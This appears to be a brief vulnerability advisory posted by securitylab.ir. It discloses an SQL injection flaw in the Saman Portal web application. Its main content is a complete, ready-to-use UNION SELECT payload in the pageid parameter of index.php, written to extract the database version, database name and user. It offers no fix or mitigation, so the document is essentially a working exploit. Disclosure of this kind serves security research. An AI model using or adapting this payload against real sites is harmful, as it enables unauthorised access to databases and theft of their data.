Saman Portal – SQL Injection
################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Saman Portal # Vendor: http://www.sis-eg.com ################################################################# Vulnerability: http://site.com/index.php?module=subjects&func=viewpage&pageid=-1+union+select+1,2,3,null,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,null,14,15,16,17-- ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir # Contacts: info[at]securitylab.ir & whh_iran@yahoo.com<mailto:whh_iran@yahoo.com> ################################################################### |